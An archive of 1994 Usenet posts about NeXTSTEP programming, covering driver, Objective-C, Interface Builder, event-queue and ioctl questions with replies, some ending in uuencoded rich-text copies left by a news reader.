From: Aris Theocharides <aris@xedoc.com.au> Newsgroups: comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.programmer Subject: Cirrus Logic VLB Driver Date: 21 Mar 1994 09:08:41 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2mjo6p$8gr@yarrina.connect.com.au> With the source already available on /NextDeveloper/Examples/DriverKit/CirrusLogicGD542X for the ISA driver, is there anyone out there who can easily and quickly make a version that will set the VLB card in 60Hz mode, at 1024x768x2? It seems (see copied post) that the attempt at initialisation by the current driver leaves the VLB card in the 72Hz mode, at 1024x768x2. -- Aris Theocharides Xedoc Melbourne, Australia Begin forwarded article: >I have installed version NeXTstep version 3.2 on my i486DX2/66Mhz >equipped with 3 SCSI disks, 20 megabytes of memory, Cirrus Logic >VLB graphics adapter (with 1 megabytes of memory) and a mouse. > >The problem is, the Cirrus Driver included in the NeXTstep release >couldn't initialize the adapter to the desired resolution (1024* >768*2 60 Hz). I would also like to use the adapter in 1024*768*8 >mode but the driver has no options for that kind of operation. >The default VGA driver works, but shows only 800x600 pixels. > >Is there a replacement Cirrus driver? Where? Pointers to Intel >patches/drivers? > >Thanks. > >-- >-- > _____________________________________________________________ > Miikka Putaala Tatunkuja 6 90540 Oulu Finland > putaala@rieska.oulu.fi putaala@cc.oulu.fi > Phone [home] 358 (81) 362430 > Phone [elsewhere] (9400) 388400 >
From: robert@takeFive.co.at (Robert Spector) Newsgroups: comp.sys.next.programmer Subject: Bind application to file-suffix Date: 21 Mar 1994 13:09:06 GMT Organization: EUnet EDV-Dienstleistungsgesellschaft m.b.H Message-ID: <2mk69i$db4@hp4at.eunet.co.at> Keywords: Tools, Application, Suffix Hi, I'm trying to bind /LocalApps/ManOpen.app to the ".n" suffix so that I get this application (man page viewer) instead of Edit for these (man page) files... The WorkspaceManager->Tools->Inspector->Tools window only shows /NextApps/Edit.app as a valid application to start on these files. I tried adding a line to ~/.Next/suffixes3_1.m68k.wmd without results. I know ManOpen.app works on these files because I can use it through the usual File interface... Thanks, Robert
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: Spoiled by PB or just Dumb Date: 21 Mar 1994 13:14:36 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2mk6js$q3q@aplcomm.jhuapl.edu> I think I have been spoiled by Project Builder because I cannot get very simple program to compile due to all sorts of conflicts. Please have a look and tell me why I am such a complete idiot. main program in main.m #import <stdio.h> #import "Intergrate.h" #import "Constant.h" #import "Multiply.h" void main() { id block1, block2, block3, block4; block1 = [[Constant alloc] initWith:-1.0]; block2 = [[Multiply alloc] init]; block3 = [[Intergrate alloc] initWith:block2 :1.0]; block4 = [[Intergrate alloc] initWith:block3 :1.0]; // program munched } A few of the headers Multiply.h @interface Multiply:Block { } - initWith:input1 :input2; - process; @end Intergrate.h @interface Intergrate:Block { } - initWith:input1 :(float)initValue; - initWith:(float)initvalue; - process; @end Constant.h @interface Constant:Block { } - initWith:(float)initValue; - process; @end The errors main.m: In function `main': main.m:17: warning: multiple declarations for method `initWith::' Multiply.h:6: warning: using `-initWith:input1 :input2' Intergrate.h:6: warning: also found `-initWith:input1 :(float)initValue' main.m:17: incompatible type for argument 2 of `initWith::' main.m:18: warning: multiple declarations for method `initWith::' Multiply.h:6: warning: using `-initWith:input1 :input2' Intergrate.h:6: warning: also found `-initWith:input1 :(float)initValue' main.m:18: incompatible type for argument 2 of `initWith::' *** Exit 1 Stop. Compiled as cc -o Slice main.o Multiply.o Intergrate.o Divide.o Constant.o Block.o -LNeXT_s There are no warning or errors for any of the other modules. And if I replace initWith with init everything compiles just fine. I know that I could just add another method to get everything to work, but I would like to know what I am doing wrong. It seems that the compiler doesn't see the definitions in the headers and thinks that main is declaring - initWith::, or that the alloc are not being associated with their appropriate class. PLEASE somebody anybody tell me what I am doing wrong, this is driving me bonkers. -- jds ------------------------------------------------------------------------------- Otto "Apes don't read philoshpy" disclaimer Wanda "Sure they do, they just don't understand it" -------------------------------------------------------------------------------
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer Subject: Where to discuss Driver Kit, etc? Date: 21 Mar 1994 14:07:35 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2mk9n7$kdq@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Can someone tell me what is the correct forum for discussing Device Drivers and the Driver Kit in (white) 3.2? I'm writing a couple of drivers here (mostly out of necessity) that I would like to get up and running so I can post them on an archive server, but I've run up against a couple of problems... Amongst the things that I'm developing are: PPP support for dial-up IP on NS 3.2 Support for the SoundBlaster16 card Support for the Toshiba XM3401 double-speed CD-ROM drive (adding audio and photo capability [CD-DA and CD-XA]) and anything else that might seem apparent. Thanks, -Philip
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.ibm.pc.hardware,comp.sys.next.programmer Subject: SoundBlaster16 info and NeXTStep driver Date: 21 Mar 1994 14:17:41 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2mkaa5$kdq@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi. I'm endeavoring (read: sweating ;-) to write a SoundBlaster16 driver for NeXTStep 3.2, and there are some details of the card that I just don't understand. So, first off, if anyone has the Soundcard FAQ or knows where to find it, please send it or clue me in... Also, if anyone has some low-level driver expertise on this card, like how to acknowledge interrupts or use the various DMA modes, please contact me. Thanks, -Philip
Newsgroups: comp.sys.next.programmer From: wissner@oak.csis.gvsu.edu (Jim Wissner) Subject: How to implement buttonWillClick: delegation? Message-ID: <1994Mar21.135856.27362@beech.csis.gvsu.edu> Sender: news@beech.csis.gvsu.edu Organization: Grand Valley State University, Allendale MI Date: Mon, 21 Mar 1994 13:58:56 GMT Hello: Does anyone know of a good way to implement a "buttonWillChange:" method? What I need is a method that is analogous to textWillChange: so that I have the option to dissallow a change to the state of various sorts of buttons (switches, pop-ups, etc). I don't want to subclass, if for no other reason than I lose drag&drop from IB of the buttons. If I add a category to control (or wherever would be the logical place), then I would have to completely re-implement mouseDown:, right? God knows what I would be breaking in the process of doing that... Any suggestions? Jim wissner@oak.csis.gvsu.edu
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Re: Targets notified by loadNibSection: ? Date: 21 Mar 1994 14:53:25 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2mkcd5$nnr@transfer.stratus.com> References: <2mdah3$66a@transfer.stratus.com> In article <2mdah3$66a@transfer.stratus.com> hship@sinistar (Howard Ship) writes: > > > Okay, anyway, same piece of code ... all but one of my outlets is not > getting initialized! Same prefs panel, I have about a dozen outlets. One > point to the panel .. it gets initialized inside loadNibSection: The > others do not. I've checked, double checked, and re-saved my nib file. > > This has got me pissed off! Thanks to the several people who pointed out that if you name a method setOutletName: you are asking for trouble. loadNibSection: is kind enough to message your method instead of directly setting the instance variable, if you provide such a method. I can see this used as some form of hook. Anyway problem solved! I just renamed things to changeOutletName: and everything works pretty much as expected. -- Remember, in 2039, MOUSSE & PASTA will be available ONLY by prescription!! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M<W=I<W,@2&5L=F5T:6-A.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P($EN(&%R=&EC;&4@/#)M9&%H,R0V-F%`=')A;G-F97(N<W1R M871U<RYC;VT^(&AS:&EP0'-I;FES=&%R("A(;W=A<F0@4VAI<"D@=W)I=&5S M.EP*/B!<"CX@7`H^($]K87DL(&%N>7=A>2P@<V%M92!P:65C92!O9B!C;V1E M("XN+B!A;&P@8G5T(&]N92!O9B!M>2!O=71L971S(&ES(&YO=%P*/B!G971T M:6YG(&EN:71I86QI>F5D(2`@4V%M92!P<F5F<R!P86YE;"P@22!H879E(&%B M;W5T(&$@9&]Z96X@;W5T;&5T<RX@($]N95P*/B!P;VEN="!T;R!T:&4@<&%N M96P@+BX@:70@9V5T<R!I;FET:6%L:7IE9"!I;G-I9&4@;&]A9$YI8E-E8W1I M;VXZ("!4:&4@(%P*/B!O=&AE<G,@9&\@;F]T+B`@22=V92!C:&5C:V5D+"!D M;W5B;&4@8VAE8VME9"P@86YD(')E+7-A=F5D(&UY(&YI8B!F:6QE+EP*/B!< M"CX@5&AI<R!H87,@9V]T(&UE('!I<W-E9"!O9F8A7`I<"E1H86YK<R!T;R!T M:&4@<V5V97)A;"!P96]P;&4@=VAO('!O:6YT960@;W5T('1H870@:68@>6]U M(&YA;64@82!M971H;V1<"@I<8B!S970*7&D@3W5T;&5T3F%M90I<:3`@.@I< M8C`@('EO=2!A<F4@87-K:6YG(&9O<B!T<F]U8FQE+B`@"EQB(&QO861.:6)3 M96-T:6]N.@I<8C`@(&ES(&MI;F0@96YO=6=H('1O(&UE<W-A9V4@>6]U<B!M M971H;V0@:6YS=&5A9"!O9B!D:7)E8W1L>2!S971T:6YG('1H92!I;G-T86YC M92!V87)I86)L92P@:68@>6]U('!R;W9I9&4@<W5C:"!A(&UE=&AO9"X@($D@ M8V%N('-E92!T:&ES('5S960@87,@<V]M92!F;W)M(&]F(&AO;VLN("!<"EP* M06YY=V%Y('!R;V)L96T@<V]L=F5D(2`@22!J=7-T(')E;F%M960@=&AI;F=S M('1O(`I<8B!C:&%N9V4*7&D@3W5T;&5T3F%M90I<:3`@.@I<8C`@(&%N9"!E M=F5R>71H:6YG('=O<FMS('!R971T>2!M=6-H(&%S(&5X<&5C=&5D+EP*7`H* M7'!A<F1<='@U,C!<='@Q,#8P7'1X,38P,%QT>#(Q,C!<='@R-C8P7'1X,S(P M,%QT>#,W,C!<='@T,C8P7'1X-#@P,%QT>#4S,C!<9C%<9F,P7&-F,"`M+5P* M4F5M96UB97(L(&EN(#(P,SDL($U/55-312`F(%!!4U1!('=I;&P@8F4@879A M:6QA8FQE7`H@3TY,62!B>2!P<F5S8W)I<'1I;VXA(5P*(%P*2&]W87)D(%-H M:7`@(&AS:&EP0'IE;BYC86,N<W1R871U<RYC;VT@(%M.95A4($UA:6P@3TM= %7`H*?0IS `
From: cmc@ltp.bcm.tmc.edu (Costa Colbert) Newsgroups: comp.sys.next.programmer Subject: More event queue questions... Date: 21 Mar 1994 15:39:59 GMT Organization: Baylor College of Medicine, Houston, Tx Distribution: world Message-ID: <2mkf4f$kql@gazette.bcm.tmc.edu> While the group is on multithreaded and event queue issues... I have a multithreaded app where there is a backend interpreter and a frontend thread to do all the Appkit stuff. In order to display waveforms in a custom view, I send a "message" from the backend to the front end to display. The most efficient way (distributed objects was painfully slow) to accomplish this seems to be to send an application-defined event using DPSPostEvent. This works quite well except that the event doesn't get processed by the App until a mouse or other event is generated. I have had to resort to a timed entry to do a DPSGetOrPeekEvent to "prime" the processing of the queue, which is a big waste of cpu time. What am I missing about how this all works ? How can I get the app to process my event as soon as it is sent ? Costa Colbert cmc@ltp.bcm.tmc.edu
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: Targets notified by loadNibSection: ? Message-ID: <1994Mar21.151525.1959@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2md902$4r1@transfer.stratus.com> Date: Mon, 21 Mar 1994 15:15:25 GMT >Howard Ship writes > >< deleted > > > >There you go ... the my PrefsController object calls loadNib, when messages >the application to loadNibSection:.., then IBOutletConnector seems to decide >to notify the PrefsController (the target of the action) with the appropriate >message for that control (setRejectRTF:). > >I've scoured the documentation, but nothing states that this notifications >should occur. I have a workaround, but I'd like to know why? > Actually, it is documented to work this way. For each connection made in IB, it will first try to call -setOutlet: where Outlet is the capitalized name of the specific instance variable that the connection is made to. Then, if no -setOutlet: method is present, it will directly set the value of the instance variable. -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: Re: Spoiled by PB or just Dumb Date: 21 Mar 1994 18:41:33 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2mkpot$d3i@aplcomm.jhuapl.edu> Keywords: Following, up, my, own, post [stuff deleted] > id block1, block2, block3, block4; > > > block1 = [[Constant alloc] initWith:-1.0]; > block2 = [[Multiply alloc] init]; > block3 = [[Intergrate alloc] initWith:block2 :1.0]; > block4 = [[Intergrate alloc] initWith:block3 :1.0]; [complaining about why this doesn't work deleted] Thanks to everyone who has responded. For your information (and mine) the objects being allocated need to either be a: Statically typed Integrate *block [[block alloc] initWith:blah blah ...] b: cast after the alloc. [(Integrate *)[Integrate alloc] initWith:blah blah ...] -- jds PS. Sorry about the spelling of inte(r)grate. I would also like to publically blame C++ for making think this should work. ------------------------------------------------------------------------------- Otto "Apes don't read philoshpy" disclaimer Wanda "Sure they do, they just don't understand it" -------------------------------------------------------------------------------
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: lockFocus problem Date: 21 Mar 1994 23:38:11 GMT Organization: Florida State University Message-ID: <2mlb53$o3i@mailer.fsu.edu> I'm writting an app that does not use [NXApp run], so my code is handling the sending of drawing commands to views and such. My problem is that I have multiple windows, but my postscript drawing for all of them is displaying all on a single window. I've tried locking/unlocking the focus on the contentView of the window that I want to draw to, but this doesn't help. Any help/suggestions would be much appreciated, Steve PS. please respond by email.
From: sbender@harmony.digex.net (Scott Bender) Newsgroups: comp.sys.next.programmer Subject: Re: NXAutolaunch default? Date: 22 Mar 1994 00:08:15 GMT Organization: Harmony Data Systems Message-ID: <2mlctf$9b6@news1.digex.net> References: <2minjr$fn7@nic-nac.CSU.net> In article <2minjr$fn7@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > > You need to capitalize it appropriately: NXAutoLaunch > > -=EPS=- For some odd reason I assumed that the online documentation was correct! Thanks, Scott
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: How to implement buttonWillClick: delegation? Message-ID: <1994Mar21.163916.28960@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <1994Mar21.135856.27362@beech.csis.gvsu.edu> Date: Mon, 21 Mar 94 16:39:16 GMT In article <1994Mar21.135856.27362@beech.csis.gvsu.edu> wissner@oak.csis.gvsu.edu (Jim Wissner) writes: > > Hello: > > Does anyone know of a good way to implement a "buttonWillChange:" method? > What I need is a method that is analogous to textWillChange: so that I > have the option to dissallow a change to the state of various sorts of > buttons (switches, pop-ups, etc). I don't want to subclass, if for no > other reason than I lose drag&drop from IB of the buttons. If I add > a category to control (or wherever would be the logical place), then > I would have to completely re-implement mouseDown:, right? God knows > what I would be breaking in the process of doing that... > > Any suggestions? > > Jim > wissner@oak.csis.gvsu.edu You can send the button a message to send you action messages on mousedown instead of mouseup: [button sendActionOn:(NX_MOUSEDOWN_MASK|NX_MOUSEUP_MASK)] then in your action: - myAction:sender { NXEvent *currentEvent = [NXApp currentEvent]; if (currentEvent->type == NX_MOUSEUP) { /* Process normal mouse up action */ } else { /* Simulated "willClick:" action */ } return self; } Hope this works. I've never tested this, but it *should* work :-) - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
Newsgroups: comp.sys.next.programmer From: bouhouch@next.mc.maricopa.edu (Ali Bouhouch) Subject: Color Picking Programmatically Message-ID: <Cn0wtI.DH9@ennews.eas.asu.edu> Keywords: color, pixel, color picker Sender: news@ennews.eas.asu.edu (USENET News System) Organization: Arizona State University Date: Mon, 21 Mar 1994 16:36:51 GMT I apologize if this was posted earlier, but we had a software crash during the last posting, and I wasn't sure if it was posted. We are trying to determine the color of the pixel at a particular screen coordinate. It's just what the Color Picker does except we want to do it programmatically. Similar to this but maybe easier, is that we would like to determine the color of a pixel within a tiff image. Again, it's what the Color Picker would do, but we need to do it from a mousedown on a pixel without the Color Picker. Any ideas would be greatly appreciated. Ken Costello or Ali Bouhouch Multimedia Developers Mesa Community College Mesa, AZ 85202 NeXT Mail Welcome costello@next.mc.maricopa.edu or bouhouch@next.mc.maricopa.edu
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: How to implement buttonWillClick: delegation? Message-ID: <Cn24zG.FC@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <1994Mar21.163916.28960@fnbc.com> Date: Tue, 22 Mar 1994 08:30:51 GMT In article <1994Mar21.163916.28960@fnbc.com> drew@fnbc.com (Drew Davidson) writes: > In article <1994Mar21.135856.27362@beech.csis.gvsu.edu> > wissner@oak.csis.gvsu.edu (Jim Wissner) writes: > > > > Hello: > > > > Does anyone know of a good way to implement a "buttonWillChange:" method? > > > > [munch] > > > > You can send the button a message to send you action messages on mousedown > instead of mouseup: > > > [button sendActionOn:(NX_MOUSEDOWN_MASK|NX_MOUSEUP_MASK)] > > then in your action: > > - myAction:sender > { NXEvent *currentEvent = [NXApp currentEvent]; > > if (currentEvent->type == NX_MOUSEUP) > { /* Process normal mouse up action */ > } > else > { /* Simulated "willClick:" action */ > } > return self; > } > > Hope this works. I've never tested this, but it *should* work :-) > > - Drew > -- > [munch] Does not work in the following case: You click the button, 'drag' the mouse away, and release the mousebutton... You would get the mouse down, but NO mouse up. Gerd
Newsgroups: comp.sys.next.programmer,rajas Subject: Absoft fortran compiler Message-ID: <1994Mar21.160515.170879@eros.embl-heidelberg.de> From: rajas@duke.NMR.EMBL-Heidelberg.DE (Raj Thiagarajan) Date: 21 Mar 94 16:05:13 +0100 Distribution: working Keywords: compiling problem Hi, I am trying to compile some fortran source consisting of PVM interface to a software called XPLOR. While trying to "make" ----- i get the following compliants ======== duke:rajas:{50}> make f77 -g -N109 ../object_library/*.o -L/data4/Users/rajas/xplor3.1/next/pvm -lfpvm3 -lpvm3 -o xplor_host ld: Undefined symbols: _PVMFSPAWN _PVMFINITSEND _PVMFPACK _PVMFSEND _PVMFMYTID _PVMFRECV _PVMFUNPACK _PVMFPARENT comadj: unable to open xplor_host mv xplor_host /data4/Users/rajas/pvm3/bin/NEXT/xplor_spmd mv: xplor_host: Cannot access: No such file or directory *** Exit 1 Stop. ========= I am positive the library calls for pvm ( lfpvm3.a, lpvm3.a) exist and are good - but still I get complaints about PVM calls - are there any flags i could use like case sensitive flags ?? I am using -N109 (folds everything to upper case) but doesn't help. I would really appreciate any kinds of comments/suggestions & help. thank you -rajas
Newsgroups: comp.sys.next.programmer From: ssfoste@afterlife.ncsc.mil (Sterling S. Foster) Subject: Installing Utah Raster Toolkit Message-ID: <1994Mar22.155635.27531@afterlife.ncsc.mil> Sender: news@afterlife.ncsc.mil Organization: The Great Beyond Date: Tue, 22 Mar 1994 15:56:35 GMT Has anyone successfully installed urt-3_1b and the RLEViewer.app on NS 3.2? Any help or advice would be appreciated. Sterling Foster ssfoste@afterlife.ncsc.mil
From: behnkedj@image-8 (D Joshua Behnke) Newsgroups: comp.sys.next.programmer Subject: help: app locks up the log out process Date: 22 Mar 1994 19:24:12 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2mngks$igh@master.cs.rose-hulman.edu> I have written an app wherein the Application delegate implements the appWillTerminate: method to check for unsaved windows and run alert panels as appropriate. My problem is that when the user has an unsaved window, and tries to log out, the buttons on the alert panel stop working - thus the app never terminates and the logout process hangs. (Of course, the workspace has shut down enough that I can't even kill it by hand without logging in remotely. :) When I say the buttons stop working, I mean they no longer close the panel. The buttons still highlight normally, but as far as I can tell NXRunAlertPanel() never returns. I can't run it in the debugger, as the debugger gets killed and the app dies. Any help would be appreciated - I don't know how to proceed on this one. -Josh Behnke email to: behnkedj@cs.rose-hulman.edu (non-next)
Newsgroups: comp.sys.next.programmer From: lapj_ltd@uhura.cc.rochester.edu (Rumplestiltskin) Subject: problems with ioctl() on Intel Message-ID: <1994Mar22.212351.5657@galileo.cc.rochester.edu> Keywords: ioctl Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Tue, 22 Mar 94 21:23:51 GMT As the subject says I'm having some trouble with ioctl, and I have a feeling it may have something to do with the fact that I'm on one of those bloody little-endian machines. Here's the problems I have: 1. ioctl(fd, DKIOCCHECKINSERT, NULL) just plain doesn't work. I could be using it wrong (all typos here are just that, please don't bother telling me I spelled some constant wrong), but I assume this is right by analogy to ioctl(fd, DKIOCEJECT, NULL) which are both #defined as _IO() calls. 2. when trying to send certain scsi requests which use logical block addresses, ioctl fails (note ioctl fails, not the actual request). Generally if I do not put an address in the command descriptor block, it works, but obviously this is of limited use. There does not seem to be a connection to cdb size or anything else for that matter. I take it back, the connection is that I really need these cdb's that don't work 8*) Does anyone have any ideas on either of these problems? Why does it matter what's in the cdb for problem 2? I don't think ioctl should be looking at the cdb, but just pass it on to the drive. Do I need to do some memory alignment here or something? (don't know how to do this yet). Please enlighten me. -Jason (lapj_ltd@uhura.cc.rochester.edu) -- -------- ---------- Jason LaPierre -- University of Rochester -- lapj_ltd@uhura.cc.rochester.edu -------- (no NeXTmail) ----------
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Spoiled by PB or just Dumb Date: 22 Mar 1994 12:46:50 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2mmpbq$gv8@gpo.gb.swissbank.com> References: <2mkpot$d3i@aplcomm.jhuapl.edu> In article <2mkpot$d3i@aplcomm.jhuapl.edu> jds@aplexus.jhuapl.edu (John D Stanhope) writes: |> Thanks to everyone who has responded. For your information (and mine) |> the objects being allocated need to either be |> |> a: Statically typed |> Integrate *block |> [[block alloc] initWith:blah blah ...] |> |> b: cast after the alloc. |> [(Integrate *)[Integrate alloc] initWith:blah blah ...] You'd be better off redefining one of your classes to use a different method name. It's confusing to have two classes using the same method names but taking different argument types. Dave Griffiths
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: IB bug in Connections Inspector? Message-ID: <1994Mar22.220939.17255@rpslmc.edu> Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Tue, 22 Mar 1994 22:09:39 GMT Hi, I have an abstract superclass that does all the nitty-gritty stuff associated with managing my nibs. From that class, I subclass to manage features that make the things in the nibs different from each other. (Like one nib might have a custom view in it that needs special attention.) When I parse into IB, I do the superclass first, then the subclass. The bug(?) appears when I need to hook something up to an action method of my instance of the subclass. For the methods that are overridden in the subclass, there are two entries in the connection inspector. At first I could not decide which one to use, but IB solved that one because hooking up one causes both to show as hooked up. Has anyone else experienced this? Is there a way to solve this by changing the order in which things are parsed in? Thanks in advance... -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: How do you programmatically insert RTFD into a mail message? Message-ID: <Cn26yI.EyK@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development Date: Tue, 22 Mar 1994 09:13:29 GMT I'm trying to insert RTFD from a text object into mail. I know about the Listener methods for Mail that allow a message to be remotely composed, but that doesn't allow rtfd. I decided I'd try to programmatically invoke the Services->Mail->Selection, since it does work with rtfd (tyr it for yourself). Unfortunately, it seems that when I do it, I get nothing at all in the compose window. Here's the basics of the code: - mail:sender { unsigned int length, maxlen; char *data; NXStream *stream = NXOpenMemory( NULL, 0, NX_READWRITE ); Pasteboard *pboard = [Pasteboard newName:"NeXT selection pasteboard name"]; NXAtom pbt = NXUniqueString( "NeXT RTFD pasteboard type" ); [pboard declareTypes:&pbt num:1 owner:NULL]; [text writeRTFDTo:stream]; NXGetMemoryBuffer( stream, &data, &length, &maxlen ); [pboard writeType:NXUniqueString( "NeXT RTFD pasteboard type" ) data:(const char *)data length:length]; NXPerformService( "Mail/Selection", pboard ); NXClose( stream ); return self; } Everything looks fine in gdb. The rtfd data is correctly serialized into the stream, and the pboard grabs the data. I got the name "NeXT RTFD pasteboard type" by grepping through a dump of Mail.app/Mail, because it doesn't seem to be documented anywhere. Anyone have any cluse as to why it doesn't work? John -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: RE: HELP! Postscript vs. RTF Message-ID: <1994Mar23.004719.15775@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <94073.214508U37865@uicvm.uic.edu> Date: Wed, 23 Mar 1994 00:47:19 GMT In article <94073.214508U37865@uicvm.uic.edu> <U37865@uicvm.uic.edu> writes: > Please help! > > I am writing this on behalf of a friend of mine, new to NeXT programming. > He needs to print text to the screen, with a scroll-view. His first attempt > was with Postscript. Once the text reached more than a page, the scroll > redraw because _very_ slow. How is it possible to speed up the scrolling? It > is totally unacceptable right now. > > He knows of two ways of trying to fix this. The first is by creting a cache > and writing postscript to the cache. The second method is by using rich text > format. Since he has never used either, which is recommended, and why? Also, > are there any ftp sites where examples, etc., may be downloaded? > > Big thanks in advance. Please reply by direct email. > > Cheers, > Eric J. Kristoff > > U37865@UICVM.CC.UIC.EDU > > ********************************************************************* * > ** ERIC J.KRISTOFF ** [D2Y(X,T)]/DX^2=[1/V^2][D2Y(X,T)/DT^2]** > ** U37865@UICVM.CC.UIC.EDU ** ANY TAKERS? (D2=PARTIAL DERIVATIVE) ** > ********************************************************************* * Eric, tell your friend the same thing someone once told me....stay away from Postscript as long as you can. The AppKit should be able to handle most requirements, Postscript is a last resort (don't go looking for trouble). Rich Text is actually very simple to implement. Let me suggest some basics: 1) set up the text object to be rich text. In somewhere logical (like appDidInit: or awakeFromNib), do [[scrollView docView] setMonoFont:NO] and [[scrollView docView] setFontPanelEnabled:YES]. This will give RTF capability, and set up FontPanel interaction. 2) if your friend is simply writing "STATUS" messages out to the ScrollView, have him/her write messages to an NXStream, and at appropriate intervals, call [[scrollView docView] readText:stream] (this will only copy out straight text, not formatted text, in the default font of the textObject. If your friend is writing RTF to the stream, use [[scrollView docView] readRichText:stream]). If any of this isn't clear, drop me a line. Also, more information about what your friend is doing would be helpful in order to suggest a solution. Again, there is a time and a place for Postscript (it's great, likely as not, there's a better way, via the AppKit). Hope this helps, Rik Cousens (cousens@biztech.com) -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M;FEL(%1I;65S+5)O;6%N.UQF,EQF;6]D97)N($]H;&9S.WT*7&UA<F=L,3(P M"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A< M='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF M,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@/#DT,#<S M+C(Q-#4P.%4S-S@V-4!U:6-V;2YU:6,N961U/B`\53,W.#8U0'5I8W9M+G5I M8RYE9'4^('=R:71E<SI<"CX@4&QE87-E(&AE;'`A7`H^(%P*/B!)(&%M('=R M:71I;F<@=&AI<R!O;B!B96AA;&8@;V8@82!F<FEE;F0@;V8@;6EN92P@;F5W M('1O($YE6%0@<')O9W)A;6UI;F<N7`H^($AE(&YE961S('1O('!R:6YT('1E M>'0@=&\@=&AE('-C<F5E;BP@=VET:"!A('-C<F]L;"UV:65W+B`@2&ES(&9I M<G-T(&%T=&5M<'1<"CX@=V%S('=I=&@@4&]S='-C<FEP="X@($]N8V4@=&AE M('1E>'0@<F5A8VAE9"!M;W)E('1H86X@82!P86=E+"!T:&4@<V-R;VQL7`H^ M(')E9')A=R!B96-A=7-E(%]V97)Y7R!S;&]W+B`@2&]W(&ES(&ET('!O<W-I M8FQE('1O('-P965D('5P('1H92!S8W)O;&QI;F<_("!)=%P*/B!I<R!T;W1A M;&QY('5N86-C97!T86)L92!R:6=H="!N;W<N7`H^(%P*/B!(92!K;F]W<R!O M9B!T=V\@=V%Y<R!O9B!T<GEI;F<@=&\@9FEX('1H:7,N(%1H92!F:7)S="!I M<R!B>2!C<F5T:6YG(&$@8V%C:&5<"CX@86YD('=R:71I;F<@<&]S='-C<FEP M="!T;R!T:&4@8V%C:&4N("!4:&4@<V5C;VYD(&UE=&AO9"!I<R!B>2!U<VEN M9R!R:6-H('1E>'1<"CX@9F]R;6%T+B!3:6YC92!H92!H87,@;F5V97(@=7-E 